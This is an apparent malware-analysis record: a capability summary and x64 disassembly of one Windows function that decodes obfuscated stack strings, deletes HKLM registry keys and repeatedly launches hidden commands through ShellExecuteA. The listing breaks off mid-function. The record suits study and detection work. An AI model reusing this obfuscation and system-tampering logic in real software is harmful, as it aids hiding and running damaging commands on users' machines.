Function at 0x1400904c0
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Delete file
Delete registry key
Execute command
Set registry value

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x9a8]
sub rsp, 0xaa8
xor esi, esi
mov edi, esi
mov dword [rbp + 0x9f0], esi
cmp byte [0x1401c9b80], sil
je 0x1400905c3
lea rax, [rbp + 0x8c0]
mov qword [rbp + 0x368], rax
lea rdx, [0x1401c9ba8]
lea rcx, [rbp + 0x8c0]
call fcn.140056980
nop
lea rcx, [rbp + 0x900]
call fcn.140080330
nop
mov dword [rbp + 0x9f0], 0x19
movdqa xmm0, xmmword [str.386:5_n_2342lk]
movdqu xmmword [rbp + 0x4e0], xmm0
mov byte [rbp + 0x4f0], 1
lea rcx, [rbp + 0x4e0]
call fcn.140055250
lea r8, [rbp + 0x900]
lea rdx, [rbp + 0x4e0]
lea rcx, [rbp + 0x920]
call fcn.140059b20
nop
lea r9, [rbp + 0x8c0]
mov r8, rax
lea rdx, [rbp + 0x940]
lea rcx, [0x1401ccb48]
call fcn.140045370
mov rbx, rax
mov dword [rbp + 0x9f0], 0x1b
lea rdx, [0x1401c9b88]
lea rcx, [rbp + 0x8e0]
call fcn.140056980
mov edi, 0x9f
mov rdx, rbx
lea rcx, [rbp + 0x8e0]
call fcn.140082fe0
test al, al
je 0x1400905c3
mov bl, 1
jmp 0x1400905c5
xor bl, bl
test dil, 4
je 0x1400905db
and edi, 0xfffffffb
lea rcx, [rbp + 0x8e0]
call fcn.1400588c0
nop
test dil, 2
je 0x1400905f1
and edi, 0xfffffffd
lea rcx, [rbp + 0x940]
call fcn.1400588c0
nop
test dil, 1
je 0x140090603
lea rcx, [rbp + 0x900]
call fcn.1400588c0
test bl, bl
je 0x140091e0e
mov dword [rbp - 0xc], 0x3379337f
mov dword [rbp - 8], 0x336e336b
mov dword [rbp - 4], 0x333f337d
mov dword [rbp], 0x336b3377
mov dword [rbp + 4], 0x3371
mov byte [rbp + 8], 1
lea rcx, [rbp - 0xc]
call fcn.140092270
lea rcx, [rbp - 0xc]
call fcn.140090310
test eax, eax
je 0x140090688
mov dword [rbp + 0xa], 0x3379337f
mov dword [rbp + 0xe], 0x336e336b
mov dword [rbp + 0x12], 0x333f337d
mov dword [rbp + 0x16], 0x336b3377
mov dword [rbp + 0x1a], 0x3371
mov byte [rbp + 0x1e], 1
lea rcx, [rbp + 0xa]
call fcn.140092270
lea rcx, [rbp + 0xa]
call fcn.140090310
mov ecx, eax
call fcn.140090470
mov dword [rbp - 0x28], 0x3379337f
mov dword [rbp - 0x24], 0x336e336b
mov dword [rbp - 0x20], 0x337d
mov byte [rbp - 0x1c], 1
lea rcx, [rbp - 0x28]
call fcn.140092240
lea rcx, [rbp - 0x28]
call fcn.140090310
test eax, eax
je 0x1400906e9
mov dword [rbp - 0x1a], 0x3379337f
mov dword [rbp - 0x16], 0x336e336b
mov dword [rbp - 0x12], 0x337d
mov byte [rbp - 0xe], 1
lea rcx, [rbp - 0x1a]
call fcn.140092240
lea rcx, [rbp - 0x1a]
call fcn.140090310
mov ecx, eax
call fcn.140090470
call fcn.1400812a0
test eax, eax
je 0x1400906fe
call fcn.1400812a0
mov ecx, eax
call fcn.140090470
mov dword [rbp + 0x20], 0x3342335f
mov dword [rbp + 0x24], 0x335b3348
mov dword [rbp + 0x28], 0x33503347
mov dword [rbp + 0x2c], 0x33563340
mov dword [rbp + 0x30], 0x33583348
mov dword [rbp + 0x34], 0x3374337f
mov dword [rbp + 0x38], 0x3376336a
mov dword [rbp + 0x3c], 0x33743369
mov dword [rbp + 0x40], 0x3369337a
mov dword [rbp + 0x44], 0x33523342
mov dword [rbp + 0x48], 0x336d3373
mov dword [rbp + 0x4c], 0x3340334b
mov dword [rbp + 0x50], 0x334b3341
mov dword [rbp + 0x54], 0x334e3355
mov dword [rbp + 0x58], 0x334e3346
mov dword [rbp + 0x5c], 0x33633376
mov dword [rbp + 0x60], 0x335f334d
mov dword [rbp + 0x64], 0x3358334a
mov dword [rbp + 0x68], 0x33433351
mov dword [rbp + 0x6c], 0x337a3357
mov dword [rbp + 0x70], 0x3370
mov byte [rbp + 0x74], 1
lea rcx, [rbp + 0x20]
call fcn.140092210
lea rdx, [rbp + 0x20]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
mov dword [rbp + 0x76], 0x3354335f
mov dword [rbp + 0x7a], 0x335b335d
mov dword [rbp + 0x7e], 0x335c3355
mov dword [rbp + 0x82], 0x3350334e
mov dword [rbp + 0x86], 0x337b337b
mov dword [rbp + 0x8a], 0x33653362
mov dword [rbp + 0x8e], 0x33753377
mov dword [rbp + 0x92], 0x337e3349
mov dword [rbp + 0x96], 0x332d3368
mov dword [rbp + 0x9a], 0x332e332e
mov dword [rbp + 0x9e], 0x3372337c
mov dword [rbp + 0xa2], 0x33513347
mov dword [rbp + 0xa6], 0x334c3352
mov dword [rbp + 0xaa], 0x33423345
mov dword [rbp + 0xae], 0x3375335b
mov dword [rbp + 0xb2], 0x334a3348
mov dword [rbp + 0xb6], 0x33713341
mov dword [rbp + 0xba], 0x335b337d
mov dword [rbp + 0xbe], 0x33453351
mov dword [rbp + 0xc2], 0x336f3357
mov dword [rbp + 0xc6], 0x33463361
mov dword [rbp + 0xca], 0x33453353
mov dword [rbp + 0xce], 0x335c336b
mov dword [rbp + 0xd2], 0x334f334e
mov dword [rbp + 0xd6], 0x33533355
mov dword [rbp + 0xda], 0x334c3359
mov dword [rbp + 0xde], 0x3312331c
mov dword [rbp + 0xe2], 0x336e3362
mov dword [rbp + 0xe6], 0x33743364
mov dword [rbp + 0xea], 0x336a3366
mov dword [rbp + 0xee], 0x337c3368
mov dword [rbp + 0xf2], 0x3366336a
mov dword [rbp + 0xf6], 0x337f336c
mov dword [rbp + 0xfa], 0x336f337f
mov dword [rbp + 0xfe], 0x3371337d
mov dword [rbp + 0x102], 0x33613363
mov dword [rbp + 0x106], 0x3367336c
mov dword [rbp + 0x10a], 0x336f3366
mov dword [rbp + 0x10e], 0x336c336c
mov dword [rbp + 0x112], 0x3368336d
mov dword [rbp + 0x116], 0x3370337c
mov dword [rbp + 0x11a], 0x336e337e
mov dword [rbp + 0x11e], 0x33593356
mov dword [rbp + 0x122], 0x33533353
mov dword [rbp + 0x126], 0x33503352
mov dword [rbp + 0x12a], 0x335e335f
mov dword [rbp + 0x12e], 0x3349335e
mov dword [rbp + 0x132], 0x334b3347
mov dword [rbp + 0x136], 0x335c335f
mov dword [rbp + 0x13a], 0x335a335f
mov dword [rbp + 0x13e], 0x33493349
mov dword [rbp + 0x142], 0x33413343
mov dword [rbp + 0x146], 0x33443342
mov dword [rbp + 0x14a], 0x335a3356
mov dword [rbp + 0x14e], 0x33483358
mov dword [rbp + 0x152], 0x334b334a
mov dword [rbp + 0x156], 0x334d
mov byte [rbp + 0x15a], 1
lea rcx, [rbp + 0x76]
call fcn.1400921e0
lea rdx, [rbp + 0x76]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
mov dword [rbp + 0x15c], 0x3354335f
mov dword [rbp + 0x160], 0x335b335d
mov dword [rbp + 0x164], 0x335c3355
mov dword [rbp + 0x168], 0x3350334e
mov dword [rbp + 0x16c], 0x337b337b
mov dword [rbp + 0x170], 0x33653362
mov dword [rbp + 0x174], 0x33753377
mov dword [rbp + 0x178], 0x337e3349
mov dword [rbp + 0x17c], 0x332d3368
mov dword [rbp + 0x180], 0x332e332e
mov dword [rbp + 0x184], 0x3372337c
mov dword [rbp + 0x188], 0x33513347
mov dword [rbp + 0x18c], 0x334c3352
mov dword [rbp + 0x190], 0x33423345
mov dword [rbp + 0x194], 0x3375335b
mov dword [rbp + 0x198], 0x334a3348
mov dword [rbp + 0x19c], 0x33713341
mov dword [rbp + 0x1a0], 0x335b337d
mov dword [rbp + 0x1a4], 0x33453351
mov dword [rbp + 0x1a8], 0x336f3357
mov dword [rbp + 0x1ac], 0x33463361
mov dword [rbp + 0x1b0], 0x33453353
mov dword [rbp + 0x1b4], 0x335c336b
mov dword [rbp + 0x1b8], 0x334f334e
mov dword [rbp + 0x1bc], 0x33533355
mov dword [rbp + 0x1c0], 0x334c3359
mov dword [rbp + 0x1c4], 0x3312331c
mov dword [rbp + 0x1c8], 0x336e3362
mov dword [rbp + 0x1cc], 0x33743364
mov dword [rbp + 0x1d0], 0x336a3366
mov dword [rbp + 0x1d4], 0x337c3368
mov dword [rbp + 0x1d8], 0x3366336a
mov dword [rbp + 0x1dc], 0x337f336c
mov dword [rbp + 0x1e0], 0x336f337f
mov dword [rbp + 0x1e4], 0x3371337d
mov dword [rbp + 0x1e8], 0x33603361
mov dword [rbp + 0x1ec], 0x33653366
mov dword [rbp + 0x1f0], 0x33633366
mov dword [rbp + 0x1f4], 0x3360336e
mov dword [rbp + 0x1f8], 0x337b336f
mov dword [rbp + 0x1fc], 0x337d3371
mov dword [rbp + 0x200], 0x3367336c
mov dword [rbp + 0x204], 0x33583352
mov dword [rbp + 0x208], 0x3350335b
mov dword [rbp + 0x20c], 0x33503352
mov dword [rbp + 0x210], 0x335f335e
mov dword [rbp + 0x214], 0x33443348
mov dword [rbp + 0x218], 0x335a334a
mov dword [rbp + 0x21c], 0x335d3358
mov dword [rbp + 0x220], 0x3358335d
mov dword [rbp + 0x224], 0x33493342
mov dword [rbp + 0x228], 0x334a3340
mov dword [rbp + 0x22c], 0x33583354
mov dword [rbp + 0x230], 0x33463356
mov dword [rbp + 0x234], 0x33493348
mov dword [rbp + 0x238], 0x3348
xor edi, edi
mov byte [rbp + 0x23c], 1
lea rcx, [rbp + 0x15c]
call fcn.1400921b0
lea rdx, [rbp + 0x15c]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
movdqa xmm0, xmmword [0x1400e7140]
movdqu xmmword [rbp + 0x4f1], xmm0
movdqa xmm1, xmmword [0x1400e73a0]
movdqu xmmword [rbp + 0x501], xmm1
movdqa xmm0, xmmword [0x1400e7400]
movdqu xmmword [rbp + 0x511], xmm0
movdqa xmm1, xmmword [0x1400e7170]
movdqu xmmword [rbp + 0x521], xmm1
mov dword [rbp + 0x531], 0x3d2d113c
mov dword [rbp + 0x535], 0x363a2231
mov word [rbp + 0x539], 0x27
mov byte [rbp + 0x53b], 1
lea rcx, [rbp + 0x4f1]
call fcn.140092180
mov dword [rsp + 0x79], 0x7d363c33
mov dword [rsp + 0x7d], 0x332d31
mov byte [rbp - 0x7f], 1
lea rcx, [rsp + 0x79]
call fcn.140055530
movzx eax, byte [str.open]
xor al, 0x50
mov byte [rbp + 0x9f8], al
movzx eax, byte [reloc.WS2_32.dll_WSASetLastError]
xor al, 0x51
mov byte [rbp + 0x9f9], al
movzx eax, byte [0x1400e05b6]
xor al, 0x52
mov byte [rbp + 0x9fa], al
movzx eax, byte [0x1400e05b7]
xor al, 0x53
mov byte [rbp + 0x9fb], al
mov word [rbp + 0x9fc], pe_nt_image_headers64
lea rcx, [rbp + 0x9f8]
call fcn.1400555c0
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
lea r9, [rbp + 0x4f1]
lea r8, [rsp + 0x79]
lea rdx, [rbp + 0x9f8]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
movdqa xmm0, xmmword [0x1400e7140]
movdqu xmmword [rbp + 0x689], xmm0
movdqa xmm1, xmmword [0x1400e73a0]
movdqu xmmword [rbp + 0x699], xmm1
movdqa xmm0, xmmword [0x1400e7400]
movdqu xmmword [rbp + 0x6a9], xmm0
movdqa xmm1, xmmword [0x1400e7170]
movdqu xmmword [rbp + 0x6b9], xmm1
mov dword [rbp + 0x6c9], 0x2023113c
mov dword [rbp + 0x6cd], 0x1002234
lea rcx, [rbp + 0x689]
call fcn.140092150
mov dword [rbp - 0x7e], 0x7d363c33
mov dword [rbp - 0x7a], 0x332d31
mov byte [rbp - 0x76], 1
lea rcx, [rbp - 0x7e]
call fcn.140055530
movzx eax, byte [str.open]
xor al, 0x50
mov byte [rbp + 0xa00], al
movzx eax, byte [reloc.WS2_32.dll_WSASetLastError]
xor al, 0x51
mov byte [rbp + 0xa01], al
movzx eax, byte [0x1400e05b6]
xor al, 0x52
mov byte [rbp + 0xa02], al
movzx eax, byte [0x1400e05b7]
xor al, 0x53
mov byte [rbp + 0xa03], al
mov word [rbp + 0xa04], pe_nt_image_headers64
lea rcx, [rbp + 0xa00]
call fcn.1400555c0
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
lea r9, [rbp + 0x689]
lea r8, [rbp - 0x7e]
lea rdx, [rbp + 0xa00]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
movdqa xmm0, xmmword [0x1400e7140]
movdqu xmmword [rbp + 0x587], xmm0
movdqa xmm1, xmmword [0x1400e73a0]
movdqu xmmword [rbp + 0x597], xmm1
movdqa xmm0, xmmword [0x1400e7400]
movdqu xmmword [rbp + 0x5a7], xmm0
movdqa xmm1, xmmword [0x1400e7170]
movdqu xmmword [rbp + 0x5b7], xmm1
mov dword [rbp + 0x5c7], 0x233e113c
mov dword [rbp + 0x5cb], 0x3d3b3625
mov word [rbp + 0x5cf], 0x27
mov byte [rbp + 0x5d1], 1
lea rcx, [rbp + 0x587]
call fcn.140092180
mov dword [rbp - 0x75], 0x7d363c33
mov dword [rbp - 0x71], 0x332d31
mov byte [rbp - 0x6d], 1
lea rcx, [rbp - 0x75]
call fcn.140055530
movzx eax, byte [str.open]
xor al, 0x50
mov byte [rbp + 0xa08], al
movzx eax, byte [reloc.WS2_32.dll_WSASetLastError]
xor al, 0x51
mov byte [rbp + 0xa09], al
movzx eax, byte [0x1400e05b6]
xor al, 0x52
mov byte [rbp + 0xa0a], al
movzx eax, byte [0x1400e05b7]
xor al, 0x53
mov byte [rbp + 0xa0b], al
mov word [rbp + 0xa0c], pe_nt_image_headers64
lea rcx, [rbp + 0xa08]
call fcn.1400555c0
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
lea r9, [rbp + 0x587]
lea r8, [rbp - 0x75]
lea rdx, [rbp + 0xa08]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
movdqa xmm0, xmmword [0x1400e7140]
movdqu xmmword [rbp + 0x6d1], xmm0
movdqa xmm1, xmmword [0x1400e73a0]
movdqu xmmword [rbp + 0x6e1], xmm1
movdqa xmm0, xmmword [0x1400e7400]
movdqu xmmword [rbp + 0x6f1], xmm0
movdqa xmm1, xmmword [0x1400e7170]
movdqu xmmword [rbp + 0x701], xmm1
mov dword [rbp + 0x711], 0x2022113c
mov dword [rbp + 0x715], 0x1002237
lea rcx, [rbp + 0x6d1]
call fcn.140092150
mov dword [rbp - 0x6c], 0x7d363c33
mov dword [rbp - 0x68], 0x332d31
mov byte [rbp - 0x64], 1
lea rcx, [rbp - 0x6c]
call fcn.140055530
movzx eax, byte [str.open]
xor al, 0x50
mov byte [rsp + 0x30], al
movzx eax, byte [reloc.WS2_32.dll_WSASetLastError]
xor al, 0x51
mov byte [rsp + 0x31], al
movzx eax, byte [0x1400e05b6]
xor al, 0x52
mov byte [rsp + 0x32], al
movzx eax, byte [0x1400e05b7]
xor al, 0x53
mov byte [rsp + 0x33], al
mov word [rsp + 0x34], pe_nt_image_headers64
lea rcx, [rsp + 0x30]
call fcn.1400555c0
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
lea r9, [rbp + 0x6d1]
lea r8, [rbp - 0x6c]
lea rdx, [rsp + 0x30]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
movdqa xmm0, xmmword [0x1400e7430]
movdqu xmmword [rbp + 0x719], xmm0
movdqa xmm1, xmmword [0x1400e7440]
movdqu xmmword [rbp + 0x729], xmm1
movdqa xmm0, xmmword [0x1400e73c0]
movdqu xmmword [rbp + 0x739], xmm0
movdqa xmm1, xmmword [0x1400e7050]
movdqu xmmword [rbp + 0x749], xmm1
mov dword [rbp + 0x759], 0x2b60202d
mov dword [rbp + 0x75d], 0x1003d3c
lea rcx, [rbp + 0x719]
call fcn.140092150
mov dword [rbp - 0x63], 0x7d363c33
mov dword [rbp - 0x5f], 0x332d31
mov byte [rbp - 0x5b], 1
lea rcx, [rbp - 0x63]
call fcn.140055530
movzx eax, byte [str.open]
xor al, 0x50
mov byte [rsp + 0x36], al
movzx eax, byte [reloc.WS2_32.dll_WSASetLastError]
xor al, 0x51
mov byte [rsp + 0x37], al
movzx eax, byte [0x1400e05b6]
xor al, 0x52
mov byte [rsp + 0x38], al
movzx eax, byte [0x1400e05b7]
xor al, 0x53
mov byte [rsp + 0x39], al
mov word [rsp + 0x3a], pe_nt_image_headers64
lea rcx, [rsp + 0x36]
call fcn.1400555c0
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
lea r9, [rbp + 0x719]
lea r8, [rbp - 0x63]
lea rdx, [rsp + 0x36]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
movdqa xmm0, xmmword [0x1400e7430]
movdqu xmmword [rbp + 0x868], xmm0
movdqa xmm1, xmmword [0x1400e7440]
movdqu xmmword [rbp + 0x878], xmm1
movdqa xmm0, xmmword [0x1400e73c0]
movdqu xmmword [rbp + 0x888], xmm0
movdqa xmm1, xmmword [0x1400e70c0]
movdqu xmmword [rbp + 0x898], xmm1
movdqa xmm0, xmmword [0x1400e7100]
movdqu xmmword [rbp + 0x8a8], xmm0
mov word [rbp + 0x8b8], pe_nt_image_headers64
lea rcx, [rbp + 0x868]
call fcn.140092120
mov dword [rbp - 0x5a], 0x7d363c33
mov dword [rbp - 0x56], 0x332d31
mov byte [rbp - 0x52], 1
lea rcx, [rbp - 0x5a]
call fcn.140055530
movzx eax, byte [str.open]
xor al, 0x50
mov byte [rsp + 0x3c], al
movzx eax, byte [reloc.WS2_32.dll_WSASetLastError]
xor al, 0x51
mov byte [rsp + 0x3d], al
movzx eax, byte [0x1400e05b6]
xor al, 0x52
mov byte [rsp + 0x3e], al
movzx eax, byte [0x1400e05b7]
xor al, 0x53
mov byte [rsp + 0x3f], al
mov word [rsp + 0x40], pe_nt_image_headers64
lea rcx, [rsp + 0x3c]
call fcn.1400555c0
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
lea r9, [rbp + 0x868]
lea r8, [rbp - 0x5a]
lea rdx, [rsp + 0x3c]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
movdqa xmm0, xmmword [0x1400e7430]
movdqu xmmword [rbp + 0x3e5], xmm0
movdqa xmm1, xmmword [0x1400e7440]
movdqu xmmword [rbp + 0x3f5], xmm1
movdqa xmm0, xmmword [0x1400e73c0]
movdqu xmmword [rbp + 0x405], xmm0
movdqa xmm1, xmmword [0x1400e7240]
movdqu xmmword [rbp + 0x415], xmm1
mov dword [rbp + 0x425], 0x212b3725
mov dword [rbp + 0x429], 0x363f3017
mov dword [rbp + 0x42d], 0x3b3a317a
mov word [rbp + 0x431], pe_nt_image_headers64
lea rcx, [rbp + 0x3e5]
call fcn.1400920f0
mov dword [rbp - 0x51], 0x7d363c33
mov dword [rbp - 0x4d], 0x332d31
mov byte [rbp - 0x49], 1
lea rcx, [rbp - 0x51]
call fcn.140055530
movzx eax, byte [str.open]
xor al, 0x50
mov byte [rsp + 0x42], al
movzx eax, byte [reloc.WS2_32.dll_WSASetLastError]
xor al, 0x51
mov byte [rsp + 0x43], al
movzx eax, byte [0x1400e05b6]
xor al, 0x52
mov byte [rsp + 0x44], al
movzx eax, byte [0x1400e05b7]
xor al, 0x53
mov byte [rsp + 0x45], al
mov word [rsp + 0x46], pe_nt_image_headers64
lea rcx, [rsp + 0x42]
call fcn.1400555c0
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
lea r9, [rbp + 0x3e5]
lea r8, [rbp - 0x51]
lea rdx, [rsp + 0x42]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
movdqa xmm0, xmmword [0x1400e7430]
movdqu xmmword [rbp + 0x5f6], xmm0
movdqa xmm1, xmmword [0x1400e7440]
movdqu xmmword [rbp + 0x606], xmm1
movdqa xmm0, xmmword [0x1400e73c0]
movdqu xmmword [rbp + 0x616], xmm0
movdqa xmm1, xmmword [0x1400e7110]
movdqu xmmword [rbp + 0x626], xmm1
mov dword [rbp + 0x636], 0x2b3c222f
mov dword [rbp + 0x63a], 0x3f3e357e
mov word [rbp + 0x63e], pe_nt_image_headers64
lea rcx, [rbp + 0x5f6]
call fcn.1400920c0
mov dword [rbp - 0x48], 0x7d363c33
mov dword [rbp - 0x44], 0x332d31
mov byte [rbp - 0x40], 1
lea rcx, [rbp - 0x48]
call fcn.140055530
movzx eax, byte [str.open]
xor al, 0x50
mov byte [rsp + 0x48], al
movzx eax, byte [reloc.WS2_32.dll_WSASetLastError]
xor al, 0x51
mov byte [rsp + 0x49], al
movzx eax, byte [0x1400e05b6]
xor al, 0x52
mov byte [rsp + 0x4a], al
movzx eax, byte [0x1400e05b7]
xor al, 0x53
mov byte [rsp + 0x4b], al
mov word [rsp + 0x4c], pe_nt_image_headers64
lea rcx, [rsp + 0x48]
call fcn.1400555c0
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
lea r9, [rbp + 0x5f6]
lea r8, [rbp - 0x48]
lea rdx, [rsp + 0x48]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
movdqa xmm0, xmmword [0x1400e6fd0]
movdqu xmmword [rbp + 0x640], xmm0
movdqa xmm1, xmmword [0x1400e7040]
movdqu xmmword [rbp + 0x650], xmm1
movdqa xmm0, xmmword [0x1400e6d80]
movdqu xmmword [rbp + 0x660], xmm0
movdqa xmm1, xmmword [0x1400e7670]
movdqu xmmword [rbp + 0x670], xmm1
mov dword [rbp + 0x680], 0xbde1f4f8
mov dword [rbp + 0x684], 0xdad8cc
mov byte [rbp + 0x688], 1
lea rcx, [rbp + 0x640]
call fcn.140055280
mov dword [rbp - 0x3f], 0x7d363c33
mov dword [rbp - 0x3b], 0x332d31
mov byte [rbp - 0x37], 1
lea rcx, [rbp - 0x3f]
call fcn.140055530
movzx eax, byte [str.open]
xor al, 0x50
mov byte [rsp + 0x4e], al
movzx eax, byte [reloc.WS2_32.dll_WSASetLastError]
xor al, 0x51
mov byte [rsp + 0x4f], al
movzx eax, byte [0x1400e05b6]
xor al, 0x52
mov byte [rsp + 0x50], al
movzx eax, byte [0x1400e05b7]
xor al, 0x53
mov byte [rsp + 0x51], al
mov word [rsp + 0x52], pe_nt_image_headers64
lea rcx, [rsp + 0x4e]
call fcn.1400555c0
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
lea r9, [rbp + 0x640]
lea r8, [rbp - 0x3f]
lea rdx, [rsp + 0x4e]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
movdqa xmm0, xmmword [0x1400e7430]
movdqu xmmword [rbp + 0x53c], xmm0
movdqa xmm1, xmmword [0x1400e7440]
movdqu xmmword [rbp + 0x54c], xmm1
movdqa xmm0, xmmword [0x1400e73c0]
movdqu xmmword [rbp + 0x55c], xmm0
movdqa xmm1, xmmword [0x1400e6f80]
movdqu xmmword [rbp + 0x56c], xmm1
mov dword [rbp + 0x57c], 0x39273e29
mov dword [rbp + 0x580], 0x3f367f35
mov word [rbp + 0x584], 0x38
mov byte [rbp + 0x586], 1
lea rcx, [rbp + 0x53c]
call fcn.140092180
mov dword [rsp + 0x67], 0x7d363c33
mov dword [rsp + 0x6b], 0x332d31
mov byte [rsp + 0x6f], 1
lea rcx, [rsp + 0x67]
call fcn.140055530
movzx eax, byte [str.open]
xor al, 0x50
mov byte [rsp + 0x54], al
movzx eax, byte [reloc.WS2_32.dll_WSASetLastError]
xor al, 0x51
mov byte [rsp + 0x55], al
movzx eax, byte [0x1400e05b6]
xor al, 0x52
mov byte [rsp + 0x56], al
movzx eax, byte [0x1400e05b7]
xor al, 0x53
mov byte [rsp + 0x57], al
mov word [rsp + 0x58], pe_nt_image_headers64
lea rcx, [rsp + 0x54]
call fcn.1400555c0
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
lea r9, [rbp + 0x53c]
lea r8, [rsp + 0x67]
lea rdx, [rsp + 0x54]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
movdqa xmm0, xmmword [str.___cut_4:6]
movdqu xmmword [rbp + 0x2cc], xmm0
movdqa xmm1, xmmword [0x1400e6ea0]
movdqu xmmword [rbp + 0x2dc], xmm1
mov dword [rbp + 0x2ec], 0x7055a07
mov dword [rbp + 0x2f0], 0x1e1c1617
mov dword [rbp + 0x2f4], 0x60d530e
mov word [rbp + 0x2f8], 0xf3
mov byte [rbp + 0x2fa], 1
lea rcx, [rbp + 0x2cc]
call fcn.140082b40
movzx edx, byte [rbp + 0x9f0]
lea rcx, [rbp + 0x808]
call fcn.14005b300
nop
lea rax, [rbp + 0x2cc]
mov rbx, 0xffffffffffffffff
mov r8, rbx
nop
inc r8
cmp byte [rax + r8], 0
jne 0x140091630
lea rdx, [rbp + 0x2cc]
lea rcx, [rbp + 0x808]
call fcn.14005b320
nop
lea r8, [rbp + 0x808]
lea rdx, [rbp + 0x980]
lea rcx, [0x1401d0dc0]
call fcn.1400893d0
nop
lea rcx, [rbp + 0x808]
call fcn.1400588c0
movdqa xmm0, xmmword [str.___ts_7__t]
movdqu xmmword [rbp + 0x370], xmm0
movdqa xmm1, xmmword [0x1400e6e80]
movdqu xmmword [rbp + 0x380], xmm1
movdqa xmm0, xmmword [0x1400e7650]
movdqu xmmword [rbp + 0x390], xmm0
mov dword [rbp + 0x3a0], 0xede3e7ea
mov dword [rbp + 0x3a4], 0xf4eea4fb
mov word [rbp + 0x3a8], 0xe8
mov byte [rbp + 0x3aa], 1
lea rcx, [rbp + 0x370]
call fcn.14008b7d0
movzx edx, byte [rbp + 0x9f0]
lea rcx, [rbp + 0x7e8]
call fcn.14005b300
nop
lea rax, [rbp + 0x370]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x1400916f3
lea rdx, [rbp + 0x370]
lea rcx, [rbp + 0x7e8]
call fcn.14005b320
nop
lea r8, [rbp + 0x7e8]
lea rdx, [rbp + 0x960]
lea rcx, [0x1401d0dc0]
call fcn.1400893d0
nop
lea rcx, [rbp + 0x7e8]
call fcn.1400588c0
lea rax, [rbp + 0x7c8]
mov qword [rbp + 0x9f0], rax
movdqa xmm0, xmmword [0x1400e6d10]
movdqu xmmword [rbp + 0x29d], xmm0
movdqa xmm1, xmmword [0x1400e6c70]
movdqu xmmword [rbp + 0x2ad], xmm1
mov dword [rbp + 0x2bd], 0x183e1d17
mov dword [rbp + 0x2c1], 0x2290d0b
mov dword [rbp + 0x2c5], 0x71b530f
mov word [rbp + 0x2c9], 0xe5
mov byte [rbp + 0x2cb], 1
lea rcx, [rbp + 0x29d]
call fcn.140082b40
movzx edx, byte [rbp + 0x9f0]
lea rcx, [rbp + 0x7c8]
call fcn.14005b300
nop
lea rax, [rbp + 0x29d]
mov r8, rbx
nop
inc r8
cmp byte [rax + r8], 0
jne 0x1400917c0
lea rdx, [rbp + 0x29d]
lea rcx, [rbp + 0x7c8]
call fcn.14005b320
nop
lea rax, [rbp + 0x7a8]
mov qword [rbp + 0x368], rax
movdqa xmm0, xmmword [str.___cut_4:6]
movdqu xmmword [rbp + 0x3ab], xmm0
movdqa xmm1, xmmword [0x1400e6ea0]
movdqu xmmword [rbp + 0x3bb], xmm1
movdqa xmm0, xmmword [0x1400e76b0]
movdqu xmmword [rbp + 0x3cb], xmm0
mov dword [rbp + 0x3db], 0xf4ffd6f0
mov dword [rbp + 0x3df], 0xeef2eca6
mov word [rbp + 0x3e3], pe_nt_image_headers64
lea rcx, [rbp + 0x3ab]
call fcn.140082b70
movzx edx, byte [rbp + 0x9f0]
lea rcx, [rbp + 0x7a8]
call fcn.14005b300
nop
lea rax, [rbp + 0x3ab]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x140091863
lea rdx, [rbp + 0x3ab]
lea rcx, [rbp + 0x7a8]
call fcn.14005b320
nop
lea r8, [rbp + 0x7c8]
lea rdx, [rbp + 0x7a8]
lea rcx, [0x1401d0dc0]
call fcn.14008aa60
test al, al
je 0x140091df5
lea rax, [rbp + 0x788]
mov qword [rbp + 0x9f0], rax
movdqa xmm0, xmmword [0x1400e7150]
movdqu xmmword [rbp + 0x23e], xmm0
movdqa xmm1, xmmword [0x1400e6f20]
movdqu xmmword [rbp + 0x24e], xmm1
mov dword [rbp + 0x25e], 0x1c3a1913
mov dword [rbp + 0x262], 0xe250107
mov dword [rbp + 0x266], 0x854150b
mov dword [rbp + 0x26a], 0x1000e05
lea rcx, [rbp + 0x23e]
call fcn.140055430
movzx edx, byte [rbp + 0x9f0]
lea rcx, [rbp + 0x788]
call fcn.14005b300
nop
lea rax, [rbp + 0x23e]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x140091923
lea rdx, [rbp + 0x23e]
lea rcx, [rbp + 0x788]
call fcn.14005b320
nop
lea rax, [rbp + 0x848]
mov qword [rbp + 0x368], rax
movdqa xmm0, xmmword [str.___cut_4:6]
movdqu xmmword [rbp + 0x26e], xmm0
movdqa xmm1, xmmword [0x1400e6ea0]
movdqu xmmword [rbp + 0x27e], xmm1
mov dword [rbp + 0x28e], 0x7055a07
mov dword [rbp + 0x292], 0x1e1c1617
mov dword [rbp + 0x296], 0x60d530e
